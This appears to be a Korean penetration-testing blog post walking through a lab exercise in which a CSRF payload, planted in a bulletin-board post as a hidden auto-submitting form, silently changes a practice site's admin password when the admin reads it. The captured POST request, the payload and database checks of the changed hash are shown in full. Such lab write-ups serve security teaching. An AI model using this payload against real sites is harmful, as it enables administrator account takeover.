Linux/모의해킹

CSRF 를 이용한 관리자 비밀번호 변경하기

GGkeeper 2022. 1. 25. 19:52

실습> CSRF를 이용한 관리자 비밀번호 변경하기

111111 -> 222222

현재 관리자 비번 : 111111
변경된 관리자 비번 : 222222

비밀번호 변경 메뉴 : 관리자 로그인 -> 사용자 정보 -> admin 사용자 E(Edit) -> 비밀번호 변경

1. 비번 변경 흐름을 분석한다. 
2. 1번의 분석이 끝난 후 공격자가 게시글을 작성한다.
3. 게시글이 저장되면 관리자가 게시글을 읽는다.
4. 게시글을 읽는 순간 CSRF 공격에 의해서 관리자의 비번이 자동으로 222222로 변경된다.
5. 공격자가 변경된 관리자의 비번을 이용해서 사이트에 로그인한다.
6. 공격자는 관리자 권한으로 로그인이 되면 관리자 권한을 탈취한 것이다.


1. 분석
POST /membereditok.html HTTP/1.1
Host: 192.168.108.101
Content-Length: 92
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=memberedit&no=3
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close

tb=member&no=3&username=%EB%B8%94%EB%9E%99%ED%96%87&userpw=222222&useremail=test%40naver.com


tb=member
no=3
username=%EB%B8%94%EB%9E%99%ED%96%87
userpw=222222
useremail=test%40naver.com


2. 게시판 글 입력
공격자가 아래 내용으로 게시글을 작성한다.

이름 : 공격자
제목 : 관리자님
비밀번호 : 1
내용 : 
관리자님 안녕하세요.

<form id=csrftest method=POST action=/membereditok.html>
<input type=hidden name=tb value=member>
<input type=hidden name=no value=1>
<input type=hidden name=username value=관리자>
<input type=hidden name=userpw value=222222>
<input type=hidden name=useremail value=admin>
</form>
<script>document.getElementById("csrftest").submit();</script> 


3. 분석
공격 전 DB 내용
# mysql mywebsite
MariaDB [mywebsite]> select * from member where no = 1 \G
*************************** 1. row ***************************
       no: 1
 username: 관리자
   userid: admin
 userpass: *FD571203974BA9AFE270FE62151AE967ECA5E0AA  <-- 111111
useremail: admin
   ipaddr: 192.168.0.64
     date: 2020-09-12 02:01:58
1 row in set (0.00 sec)

4. 게시물 확인
관리자가 게시글을 읽고 member 테이블을 확인하면 관리자 userpass 컬럼의 값이 변경되었다.

MariaDB [mywebsite]> select * from member where no = 1 \G
*************************** 1. row ***************************
       no: 1
 username: 관리자
   userid: admin
 userpass: *A0C1808B1A47CECD5C161FEE647F5427F4EB6F98  <-- 222222 
useremail: admin
   ipaddr: 192.168.0.64
     date: 2020-09-12 02:01:58
1 row in set (0.00 sec)

MariaDB [mywebsite]> select * from member where no = 1 and userpass = password('222222') \G
*************************** 1. row ***************************
       no: 1
 username: 관리자
   userid: admin
 userpass: *A0C1808B1A47CECD5C161FEE647F5427F4EB6F98
useremail: admin
   ipaddr: 192.168.0.64
     date: 2020-09-12 02:01:58
1 row in set (0.00 sec)

5. 관리자로 로그인
balckhat 사용자가 로그아웃을 해서 admin으로 접속을 한다.

admin/222222 으로 접속이 잘 되면 CSRF 공격에 성공한 것이다.